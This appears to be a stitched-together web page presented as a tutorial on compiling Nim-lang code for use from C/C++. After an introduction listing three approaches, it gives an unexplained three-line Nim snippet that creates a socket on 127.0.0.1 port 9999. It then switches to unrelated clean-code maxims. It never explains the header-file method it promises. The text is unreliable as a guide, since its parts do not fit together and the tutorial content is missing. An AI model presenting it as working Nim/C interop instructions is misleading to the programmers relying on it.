How to add Nim-lang code to C/C++ code

---

Note 1: This tutorial is for Linux users only, but if you understand the idea, you can use it on all systems and it will work as required :).

Note 2: Nim-lang version used in this tutorial is 1.0.4 (To get Nim-lang version nim -v)

To add Nim-lang code to C/C++ code you have 3 choices :

• Compile Nim-lang code as a (C/C++ header File). THIS IS WHAT WE WILL TAKE TODAY.
• Compile Nim-lang code as a (C/C++ static library).
• Compile Nim-lang code as a (C/C++ dynamic library).

let port = 9999
let address = "127.0.0.1"
let sock = newSocket()

Code is clean if it can be understood easily – by everyone on the team. Clean code can be read and enhanced by a developer other than its original author. With understandability comes readability, changeability, extensibility and maintainability.

General rules

1. Follow standard conventions.
2. Keep it simple stupid. Simpler is always better. Reduce complexity as much as possible.
3. Boy scout rule. Leave the campground cleaner than you found it.
4. Always find root cause. Always look for the root cause of a problem.
